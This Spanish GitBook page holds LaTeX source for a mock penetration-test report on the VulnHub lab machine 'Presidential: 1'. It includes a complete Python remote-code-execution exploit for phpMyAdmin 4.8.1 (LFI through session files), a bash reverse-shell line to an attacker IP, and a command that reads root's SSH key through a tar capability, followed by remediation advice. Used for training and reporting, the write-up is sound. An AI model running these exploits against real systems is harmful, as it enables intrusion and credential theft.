> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# Informe 1 - Writeup presidencial en LaTeX

Notas de informe en LaTeX de Presidential VulnHub para producir writeups profesionales de pruebas de penetración, estructurar hallazgos y documentar evidencias de explotación.

{% hint style="warning" %}
Aquí tienes un ejemplo de un informe técnico profesional, simulando que trabajo para Orange Cyberdefense, relacionado con una auditoría ambiental y empresarial "[Presidencial](/es/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". Para este análisis, utilicé una máquina VulnHub preconfigurada con vulnerabilidades web y riesgos de escalada de privilegios.

El informe fue redactado utilizando el [LaTeX](https://www.overleaf.com/) software, reconocido por su complejidad técnica pero también por su gran utilidad y su capacidad para producir informes de calidad profesional con gran libertad de personalización. A continuación encontrará el código LaTeX y el archivo PDF que ilustran este ejemplo.
{% endhint %}

{% file src="/files/94f54a25ab796d12e686d7a807a4e7adecc90747" %}

<div data-full-width="false"><figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-843be087e817938e2a454e3395ce46e9401f9d29%2Fimage%20(2034).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>Configuración del entorno para generar archivos PDF desde LaTeX:</summary>

1. Compruebe la aplicación predeterminada para archivos PDF:

```bash
xdg-mime query default application/pdf
```

2. Establezca Zathura como aplicación predeterminada para archivos PDF:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. Cree el archivo.tex para su documento:

```bash
touch presidential.tex
```

4. Compile el documento:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52238332ca68596b3760422ea633b7cf02dffd51%2Fimage%20(2033).png?alt=media" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% Paquetes
/usepackage[utf8]{inputenc} % Codifica tu texto en UTF-8
/usepackage[english]{babel} % Idioma inglés
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % Diseño de página
/usepackage{graphicx} % Para incluir imágenes
/usepackage[table,xcdraw]{xcolor} % Colores
/usepackage{tikz,lipsum,lmodern} % Dibujos
/usepackage[most]{tcolorbox} % Cajas personalizadas
/usepackage{fancyhdr} % Encabezados y pies de página
/usepackage[hidelinks]{hyperref} % Hipervínculos
/usepackage{setspace} % Espaciado entre líneas
/usepackage{listings} % Visualización del código fuente
/setstretch{1.2} % Interlineado
/usepackage{parskip} % Espaciado entre párrafos
/setlength{/parindent}{0pt} % Sin sangría de párrafo
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % Espaciado entre párrafos
/setlength{/parfillskip}{/parindent plus 1fill} % Justificación del texto
/usepackage[figurename=Figure]{caption} % Etiqueta de figura
/usepackage{ragged2e} % Justificación del texto

% Variables
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidential: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21 de febrero de 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% Colores
/definecolor{bluePortada}{HTML}{146c8a}

% Personalización del título
/addto/captionsenglish{/renewcommand{/contentsname}{Contenido}}

% Encabezados y pies de página
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % Logotipo de la empresa a la izquierda del encabezado
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % Logotipo de la plataforma a la derecha del encabezado
/renewcommand{/headrulewidth}{3pt} % Ancho de la línea del encabezado
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % Color de la línea del encabezado

% Configuración de los pies de código fuente
/renewcommand{/lstlistingname}{Código}

% Estilos del código fuente
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  breakable,
  enhanced,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=Definición,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % Color de los comentarios
    keywordstyle=/color{magenta}, % Color de las palabras clave
    numberstyle=/tiny/color{codegray}, % Estilo de números de línea
    stringstyle=/color{codepurple}, % Color de las cadenas
    basicstyle=/ttfamily/footnotesize, % Estilo base del texto
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % Configuración global del estilo del código

% Inicio del documento
/begin{document}
/cfoot{/thepage} % Pie de página con número de página
  /begin{titlepage} % Portada
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % Logotipo de la portada
{/scshape/LARGE /textbf{Informe técnico}/par/vspace{0.4cm}} % Título del informe
{/Huge/textcolor{bluePortada}{/textbf{Máquina /machineName}}} % Nombre de la máquina
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % Imagen de la máquina
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % Caja de confidencialidad
    /centering
Este documento es confidencial y contiene información sensible. // No debe imprimirse ni compartirse con terceros.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % Fecha del informe
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% Inicio de la tabla de contenido
/clearpage
/tableofcontents % Tabla de contenido
/clearpage

/section{Antecedentes}
Este documento presenta los resultados obtenidos durante la fase de auditoría realizada sobre la máquina /textbf{/machineName}, enumerando todos los vectores de ataque encontrados, así como la explotación realizada de cada uno de ellos.

Esta máquina fue descargada de la plataforma /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}, una plataforma de formación y práctica para personas interesadas en la seguridad informática y el hacking ético. A continuación se proporciona el enlace de descarga de esta máquina:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{Página principal del servicio web de la máquina}
/end{figure}
/vspace{1cm}
/section {Objetivos}
Los objetivos de esta auditoría de seguridad son identificar posibles vulnerabilidades y debilidades en la máquina /textbf{/color{bluePortada}/machineName}, con el fin de garantizar la integridad y la confidencialidad de la información almacenada en ella.

Con este objetivo, se llevó a cabo un análisis exhaustivo de todos los servicios expuestos detectados en este servidor, recopilando información detallada sobre aquellos que presentaban un riesgo potencial desde el punto de vista de la seguridad.
/clearpage

/subsection{Alcance}

A continuación se presentan los objetivos a alcanzar en esta auditoría:

/begin{itemize}
/item Identificar puertos y servicios vulnerables.
/item Explotar las vulnerabilidades identificadas.
/item Obtener acceso al servidor explotando los servicios vulnerables identificados.
/item Enumerar posibles vías para escalar privilegios en el sistema una vez comprometido.
/end{itemize}

/subsection{Restricciones y limitaciones}

Durante el proceso de auditoría está estrictamente prohibido realizar cualquiera de las siguientes actividades:

/begin{itemize}
/item Realizar tareas que puedan provocar una /textbf{denegación de servicio} o afectar a la disponibilidad de los servicios expuestos.
/item Eliminar archivos residentes en el servidor una vez comprometido.
/end{itemize}

/subsection{Resumen general}

Esta auditoría reveló numerosas vulnerabilidades de seguridad significativas que comprometían la integridad y la confidencialidad de la información alojada en el servidor. Desde la exposición de archivos de copia de seguridad sensibles hasta la explotación de vulnerabilidades críticas en phpMyAdmin, se ha comprobado que el servidor es vulnerable a diversos ataques.

La identificación de subdominios, la enumeración de servicios expuestos y la explotación de paneles de autenticación débiles fueron puntos de entrada clave para los ataques realizados durante esta auditoría.

Es esencial tomar medidas inmediatas para abordar estas vulnerabilidades y mitigar los riesgos de seguridad. Se recomienda encarecidamente actualizar phpMyAdmin a la última versión e implementar medidas de seguridad adicionales, como restringir el acceso a archivos sensibles e incorporar filtros de entrada adecuados en las aplicaciones web expuestas.

En resumen, esta auditoría pone de manifiesto la importancia de mantener una postura proactiva de seguridad de los sistemas, realizando auditorías periódicas, aplicando parches de seguridad y siguiendo las mejores prácticas de ciberseguridad para proteger los activos digitales de una organización.

/clearpage
/section{Reconocimiento}
/subsection{Enumeración de servicios expuestos}
A continuación encontrará evidencia de los puertos y servicios identificados durante el reconocimiento realizado con la herramienta /textbf{nmap}:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{Enumeración de puertos con nmap}
/end{figure}

/vspace{0.3cm}
En este caso, se han identificado dos puertos activos utilizando el protocolo TCP:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {Puerto 80};
/node (port2) [below right of=center, node distance=3cm] {Puerto 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

Asimismo, no se encontraron puertos expuestos a través de otros protocolos, por lo que se prioriza la evaluación de los puertos identificados en el primer escaneo.

/clearpage
/subsection{Enumeración de servidores web}

A continuación se muestran los resultados obtenidos con la herramienta /textbf{WhatWeb}, una herramienta de reconocimiento web utilizada para identificar tecnologías web específicas empleadas en un sitio, tras realizar el reconocimiento del servicio HTTP que se ejecuta en el puerto 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{Enumeración del servicio HTTP en el puerto 80}
/end{figure}

Los resultados obtenidos permiten identificar las versiones de algunas de las tecnologías existentes:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{Tecnología} & /textbf{Versión} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

Entre la información proporcionada, también es posible identificar 2 direcciones de correo electrónico, que podrían utilizarse en ataques de /textbf{phishing}:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{phishing} es un tipo de ataque informático utilizado para engañar a las personas con el fin de obtener información confidencial, como contraseñas, datos bancarios o detalles de tarjetas de crédito. El ataque se lleva a cabo enviando correos electrónicos o mensajes de texto fraudulentos que parecen legítimos y solicitan al destinatario que proporcione información personal y confidencial.

Además, también fue posible identificar la versión de /textbf{Centos} que está activa gracias a un reconocimiento exhaustivo realizado sobre el servicio web con la herramienta /textbf{wig}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{Enumeración del servicio HTTP en el puerto 80}
/end{figure}
/clearpage

/subsection{Enumeración de subdominios}
Una vez identificado el dominio '/textbf{votenow.local}' a través de los correos electrónicos, se llevó a cabo un ataque de fuerza bruta sobre el dominio principal con el objetivo de identificar subdominios válidos.

Una vez completado el ataque de fuerza bruta, estos son los resultados obtenidos:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Subdominios identificados con Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
El subdominio '/textbf{datasafe.votenow.local}' ha sido identificado como un subdominio válido. Este subdominio desempeñó un papel crucial en la auditoría, ya que fue a través de él como se obtuvo acceso al sistema explotando una vulnerabilidad presente en /textbf{phpMyAdmin}.

Tenga en cuenta que, para que estos dominios y subdominios fueran accesibles, fue necesario añadir el siguiente contenido al archivo '/textbf{/etc/hosts}':

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{Contenido del archivo /etc/hosts}
/end{figure}
/vspace{0.3cm}
Esto se debe a la aplicación de '/textbf{virtual hosting}', una técnica utilizada en servidores web para alojar varios sitios web en una sola máquina física. El archivo '/textbf{/etc/hosts}' se utiliza para asociar el nombre de dominio de cada sitio web con la dirección IP del servidor.

En ausencia de esta asociación, el servidor web no podrá determinar el sitio web correcto que debe servir, lo que provocará un error o la visualización de un sitio web incorrecto.
/clearpage
/subsection{Enumeración de paneles de autenticación}
Una vez descubierto el subdominio '/textbf{datasafe.votenow.local}', como se muestra en la imagen /ref{fig:identifiedSubdomains} en la página /pageref{fig:identifiedSubdomains}, se encontró el siguiente panel de autenticación de /textbf{phpMyAdmin}:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{Panel de autenticación de phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{Identificación y explotación de vulnerabilidades}
/subsection{Exposición de un archivo de copia de seguridad}

Durante una fase de reconocimiento con la herramienta /textbf{gobuster}, una herramienta de línea de comandos de código abierto utilizada para buscar y enumerar recursos web en servidores y sitios web, se identificó en el servidor un archivo de copia de seguridad expuesto:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{Archivo de copia de seguridad expuesto en el servidor}
/end{figure}

/clearpage

Este archivo se descargó para comprobar si contenía información sensible que pudiera suponer un riesgo de seguridad. En este punto, se determinó que el archivo contenía la siguiente información privilegiada:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{Contenido del archivo de copia de seguridad de credenciales}
/end{figure}

Estos identificadores corresponden a los credenciales de acceso a la base de datos, lo que permitió, debido a la reutilización del nombre de usuario y la contraseña, acceder a /textbf{phpMyAdmin} como se muestra en la imagen /ref{fig:phpMyAdmin} en la página /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{Conexión a la interfaz de control de phpMyAdmin}
/end{figure}

/clearpage
/subsection{Explotación de phpMyAdmin}
Una vez iniciada sesión en /textbf{phpMyAdmin}, fue posible identificar la versión actualmente en uso:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {Versión utilizada de phpMyAdmin}
/end{figure}

/vspace{0.3cm}
Esta versión corresponde a una /textbf{versión antigua} de phpMyAdmin, exponiendo así varias /textbf{vulnerabilidades críticas} identificadas:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {Vulnerabilidades de la versión de phpMyAdmin utilizada}
/end{figure}


/clearpage
Entre ellas, una puede permitir a un atacante malicioso /textbf{ejecutar código de forma remota} en el servidor.

A continuación, se muestra el script en Python3 que se utilizó para ejecutar comandos remotos en el servidor:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=Exploit para la versión vulnerable de phpMyAdmin]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
Una vez realizada la ejecución e inyección de un comando que permite entrar en el sistema, se ha obtenido acceso al servidor:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {Obtención de acceso al servidor mediante la explotación de phpMyAdmin}
/end{figure}

En este caso, se ejecuta un comando a través de '/textbf{curl}', interpretando un script Bash que contiene el siguiente contenido:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=Script Bash responsable de establecer la conexión]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

Este script está alojado en el servidor del atacante, evitando así dejar archivos residuales en el servidor objetivo. Una vez ejecutado el comando, el atacante obtiene acceso al servidor, teniendo el control de la máquina en este caso, como usuario '/textbf{apache}'.

Como puede verse en el script, básicamente lo que ocurre es que el script explota una vulnerabilidad /textbf{LFI} presente en esta versión de phpMyAdmin para lograr la ejecución remota de comandos:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=Fragmento de código relacionado con la explotación de LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (Local File Inclusion) es una vulnerabilidad de seguridad en aplicaciones web que permite a un atacante acceder a archivos locales del servidor mediante la inclusión de archivos locales en una página web.
/end{definicion}
/clearpage

A través del LFI, obtenemos información sobre un recurso PHP que almacena sesiones, representando información relacionada con las distintas sesiones activas del lado de los usuarios.

Explotando esta lectura y la propia sesión del usuario, utilizamos una /textbf{consulta SQL} para insertar una consulta que contiene código PHP, visible desde los archivos de sesión del usuario a través del LFI. Esto conduce, por tanto, a la ejecución remota de comandos, porque el código PHP no es interpretado por el servidor.

/section{Escalada de privilegios}
Una vez comprometido todo el sistema, el objetivo principal será ahora obtener los privilegios más altos posibles en el servidor. Con el fin de aumentar nuestros permisos y obtener mayor control y acceso a todos los servicios expuestos.
/subsection{Migración al usuario Administrador}
En el servidor hay un usuario Administrador que parece bien configurado porque tenemos /textbf{acceso restringido} desde el usuario apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Acceso denegado al directorio personal de Admin}
/end{figure}

Sin embargo, en la base de datos previamente comprometida aparece una contraseña con hash con el mismo nombre de usuario que ese usuario. Reutilizar contraseñas para un usuario es algo crítico y, en este caso, resultaría en la migración directa del usuario.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {Contraseña con hash almacenada en la base de datos del usuario admin}
/end{figure}
/clearpage
/subsection{Descifrado de la contraseña hash expuesta del usuario admin}
Como la contraseña está hasheada, utilizaremos la herramienta '/textbf{john}' para romper el hash de la contraseña del admin con el fin de descifrarla y verla en texto plano. En este caso, se utilizó un diccionario que contenía más de diez millones de combinaciones diferentes y, como la contraseña no es muy compleja, la herramienta tardó unos minutos en descifrarla y exponerla.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {Contraseña descifrada en texto plano del usuario admin}
/end{figure}
/vspace{0.3cm}
/newline La migración al usuario admin fue posible debido a la /textbf{reutilización de la misma contraseña} para el usuario admin tanto en la base de datos como en el usuario del sistema. Esto es una mala práctica y se recomienda tener una contraseña distinta para cada servicio diferente para evitar problemas críticos como en este caso.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {Acceso al directorio del usuario privilegiado admin}
/end{figure}
/clearpage
/subsection{Vulnerabilidad de capacidades de permisos que expone la clave SSH}
/vspace{0.3cm}
/begin{definicion}
Las capacidades en Linux son un mecanismo de seguridad que otorga privilegios específicos a los programas, permitiendo operaciones restringidas sin necesidad de conceder acceso root completo.
/end{definicion}
En este caso, se encontró un permiso de capacidad que permitía, con la herramienta tarS, ver todos los archivos del sistema sin ninguna regla ni bloqueo, ya que se realizaban desde el usuario root. Explotando este permiso, se listó la /textbf{clave privada SSH} del usuario root con el siguiente comando:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {Clave privada SSH del usuario root}
/end{figure}
/subsection{Acceso root al sistema}
Finalmente, se obtuvo acceso a la máquina con privilegios root. Es urgente eliminar la capacidad de la herramienta tarS y encontrar una alternativa que no permita esta escalada de privilegios.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {Obtención de la flag del usuario root}
/end{figure}
/clearpage
/section{Contramedidas y buenas prácticas}

Con el fin de evitar una posible explotación no deseada en el servidor expuesto, a continuación se enumeran las mejores prácticas a seguir para las distintas vulnerabilidades descubiertas.

/subsection{Vulnerabilidad de phpMyAdmin 4.8.1}
phpMyAdmin es una herramienta popular para administrar bases de datos MySQL a través de una interfaz web. Sin embargo, la versión 4.8.1 de phpMyAdmin presenta vulnerabilidades conocidas que pueden permitir a un atacante ejecutar código arbitrario en el servidor web donde está alojada.

Para corregir esta vulnerabilidad, es necesario /textbf{actualizar} a la versión más reciente de phpMyAdmin (actualmente la versión 5.2.1). Si por alguna razón no es posible actualizar a la última versión, hay algunas medidas que puede tomar para mitigar el riesgo de explotación:
/begin{itemize}
/item Corregir el código del script '/textbf{index.php}' para que la variable proporcionada por el usuario '/textbf{target}' se controle correctamente.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {Parámetro de destino vulnerable}
/end{figure}

/begin{itemize}
/item En lugar de permitir que el usuario especifique cualquier archivo para incluir, defina una lista de archivos permitidos y verifique que el valor pasado al parámetro '/textbf{target}' esté en la lista antes de incluir el archivo.
/end{itemize}

/subsection{Escalada de privilegios de capacidades}
Primero, elimine la capacidad de la herramienta tarS. Para corregir y comprobar si un servicio o herramienta es vulnerable a esta escalada de privilegios, puede visitar el siguiente sitio web, que contiene un motor de búsqueda con todas las posibles vulnerabilidades sobre este tema:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=URL de destino,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{Conclusiones}
La auditoría de seguridad realizada en la máquina /textbf{Presidential: 1} reveló una serie de vulnerabilidades críticas que ponían en peligro la integridad y la confidencialidad de la información alojada en el servidor. Desde la divulgación de archivos sensibles hasta la explotación de vulnerabilidades en phpMyAdmin, se ha puesto de relieve la importancia de mantener actualizados todos los componentes del sistema y seguir buenas prácticas de seguridad.

La explotación exitosa de la vulnerabilidad en phpMyAdmin permitió a los atacantes acceder al servidor y escalar sus privilegios hasta el usuario administrador, comprometiendo así todo el sistema. Esto resalta la importancia de implementar medidas de seguridad proactivas, como la actualización regular del software, una gestión adecuada de contraseñas y la supervisión continua del servidor.

Para protegerse contra futuros ataques, se recomienda encarecidamente implementar las contramedidas mencionadas anteriormente y seguir las mejores prácticas de ciberseguridad. La seguridad debe ser una preocupación constante y prioritaria para garantizar la protección de los activos digitales y la continuidad del negocio.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
